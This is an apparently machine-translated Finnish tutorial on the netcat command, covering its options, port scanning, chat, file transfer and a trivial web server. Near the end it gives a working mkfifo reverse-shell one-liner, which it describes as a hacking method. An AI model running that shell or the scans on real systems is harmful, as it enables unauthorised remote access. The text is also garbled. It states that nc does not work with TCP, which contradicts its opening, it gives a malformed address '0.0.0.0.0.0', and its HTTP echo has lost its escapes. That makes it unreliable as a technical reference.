Netcat-komentoa
tarvitaan TCP- ja UDP-protokollia käyttävien tietojen lähettämiseen ja vastaanottamiseen. Siinä ei ole paljon toimintoja, mutta se riittää yhteyden tarkistamiseen ja yksinkertaiseen virheenkorjaukseen. Miten kommunikoida TCP-protokollan kautta? Tätä kysymystä kysyvät monet käyttäjät. Tässä artikkelissa vastaamme tähän kysymykseen ja näytämme myös esimerkkejä komennon todellisesta käytöstä.
Netcat
(tai nc
) -komento on tehokas työkalu verkkoyhteyksien kanssa työskentelyyn. Järjestelmänvalvojat ja kehittäjät käyttävät sitä usein erilaisiin tehtäviin. Tässä ovat netcatin
tärkeimmät toiminnot ja ominaisuudet:
netcat
on monipuolinen työkalu, jota voidaan käyttää monenlaisissa skenaarioissa yksinkertaisesta viestinvälityksestä monimutkaisiin verkkotoimintoihin.
Aloitetaan tarkastelemalla syntaksia ja suosituimpia vaihtoehtoja:
-6
- käyttää IPv6-protokollaa. Oletusarvo on -4 ja IPv4 vastaavasti;-h
- näyttää ohjeen, jossa on luettelo käytettävissä olevista parametreista;-i
- viive - lisää viiveen merkkijonojen lähettämisen tai porttien skannaamisen välille. Se asetetaan sekunteina;-l
- kuuntelutila. Käytetään porttimäärityksen kanssa;-N
- yhteyden sulkeminen, kun tiedoston loppu saavutetaan lähetettäessä;-n
- Työskentely IP-osoitteiden kanssa suoraan ilman DNS:ää, myös porttiskannauksen poistaminen käytöstä;-P
- user_name - määrittää käyttäjänimen, jolla yhteys välityspalvelimeen muodostetaan;-x
- address:port - määrittää välityspalvelimeen yhdistettävän osoitteen ja portin;-p
- port - määrittää portin numeron. Useimmissa tapauksissa portti luetaan ilman parametrin määrittämistä;-U
- käyttää UNIX-verkkotunnuksen pistorasiaa (prosessien välistä viestintää varten);-u
- käyttää UDP-protokollaa, oletuksena käytetään TCP-protokollaa;-v
- yksityiskohtainen tila. Käytetään skannattaessa;-W
number_packets - sulkee yhteyden saatuaan tietyn määrän paketteja;-w
timer - ottaa käyttöön ajastimen yhteyden keston rajoittamiseksi. Se asetetaan sekunteina;-z
- poistaa tiedonlähetyksen käytöstä. Sitä käytetään skannauksen aikana.Komento on seuraavassa muodossa (parametrit porttiosoite):
$ nc
Seuraavaksi kerromme, miten komentoa käytetään.
Tarkistaminen on netcatin
tärkein käyttötapa. Käytä kahta parametria -vz
, määritä osoite ja portti. Voit määrittää osoitealueen, mutta tässä tapauksessa on parempi seuloa vain avoimet portit komennollagrep
. Tutkitaan lähiverkon osoitteen portit:
$ nc -vz 192.168.31.247 8080
$ nc -vz 192.168.31.247 1-1000 2>&1 | grep succeeded
Skannataan samalla tavalla UDP-portit lisäämällä parametri -u
:
$ nc -vzu 192.168.31.247 1-1000 2>&1 | grep succeeded
Sinun pitäisi tietää TCP:n ja UDP:n tärkein ero. UDP-portit ovat siis aina käytettävissä.
Parametri -l
on tarkoitettu portin kuuntelemiseen. Se riittää usein, mutta voit ottaa käyttöön yksityiskohtaisen tilan:
$ nc -nlv 8080
Muista, että TCP-protokollaa käytettäessä portin on oltava vapaa, muuten tulee näkyviin virhe Jo käytössä. Normaalit käyttäjät eivät voi käyttää kaikkia portteja, esimerkiksi porttia 80 (HTTP), todennäköisesti se on jonkin toisen prosessin käytössä ja vaatii superkäyttäjän oikeudet.
Komennon hyödyllinen kyky on tietojen vaihto. Yksinkertainen esimerkki on tekstikeskustelu. Käynnistääksesi chatin yhdellä tietokoneella, suorita apuohjelma portin kuuntelutilassa:
$ nc -lp 8080
Toisessa tietokoneessa sinun on määritettävä ensimmäisen tietokoneen osoite ja sama portti. Älä myöskään unohda tarkistaa, että portti on auki:
$ nc 0.0.0.0 8080
Näin voit lähettää ja vastaanottaa viestejä. Eli komento on tarkoitettu tiedostojen vaihtoon. Periaate on sama, paitsi että tuloste on ohjattava tiedostoon, nimittäin paste.txt
:
$ nc -l 8080 > paste.txt
Toisessa tietokoneessa copy.txt-tiedosto
toimii syötteenä. Ei ole tarpeetonta käyttää -N-parametria
yhteyden sulkemiseen tiedostonsiirron jälkeen:
$ nc -N 0.0.0.0 8080 < copy.txt
Tiedostonsiirrossa on tärkeää noudattaa järjestystä, ensin avata kuuntelu ja vasta sitten lähettää tiedosto. Komento nc on toimiva, mutta kaikkea muuta kuin paras tapa siirtää tiedostoja. Tähän tehtävään on olemassa tehokkaampia ja hyödyllisempiä työkaluja.
Koska NC-komento ei toimi TCP-protokollan kanssa, se mahdollistaa sekä HTTP-pyyntöjen lähettämisen että vastaanottamisen. Näin ollen apuohjelmasta voi tulla yksinkertainen web-palvelin. Kyllä, tällä tavalla ei voi tehdä mitään tyhjää sivua hankalampaa, mutta operaatio ei vie juuri lainkaan aikaa, ja plussaa on se, että sinun ei tarvitse asentaa mitään ylimääräistä.
Esimerkkilomakkeessa HTTP-vastaus tiedostolla index.html.
Itse np:stä puheen ollen, on hyvä asettaa ajastin parametrilla -w 1
, joka katkaisee yhteyden, jos selain ei katkaise:
$ while true; do echo -e "HTTP/1.1 200 OKnn$(cat index.html)" | nc -l -w 1 -p 8080; done
Jos haluat saada tietoja verkkosivustolta, voit muodostaa pyynnön ja lähettää sen neuvottuun osoitteeseen ja porttiin. Mutta tämä tapa on melko monimutkainen, on parempi käyttää sopivaa CURL-komentoa.
Edellä käsiteltyjen esimerkkien perusteella ei ole vaikea päätellä, että komennon avulla voit järjestää etäyhteyden tietokoneen komentotulkkiin. Aiemmin NC-apuohjelmalla oli useita parametreja päätelaitteen avaamiseen. -e-parametri
on poistettu apuohjelmasta jo kauan sitten, joten yksinkertaista pääsyä päätelaitteeseen ei enää ole. Itse sovelluksen tietoturvasta on tullut korkeampi, mutta se voi silti toimia yhdessä muiden kanssa.
Näytetään yhteys nimetyllä kanavalla mkfifo. Aloitetaan ensin kuuntelemaan porttia tietokoneella, johon saamme pääsyn:
$ nc -lvnp 8080
Mennään suoraan komentoon, jolla avataan terminaali. Poistetaan ensin vanha nimetty kanava(rm /tmp/f
), luodaan uusi sen tilalle(mkfifo /tmp/f
), luetaan sen sisältö(cat /tmp/f
) ja lähetetään komentotulkkikomento sen ulostuloon(sh -i 2>&1
). Tämän jälkeen on enää suoritettava nc, jonka ulostulo tulee nimettyyn kanavaan(nc 0.0.0.0.0.0 8080 >/tmp/f
):
$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 0.0.0.0 8080 >/tmp/f
Pidä mielessä, että tämä on yksi tapa hakkeroida, mutta siitä voi olla hyötyä, jos ssh:n
kanssa on ongelmia. Hyökkäyksen estämiseksi määritä tietoturvakäytäntö ja palomuuri.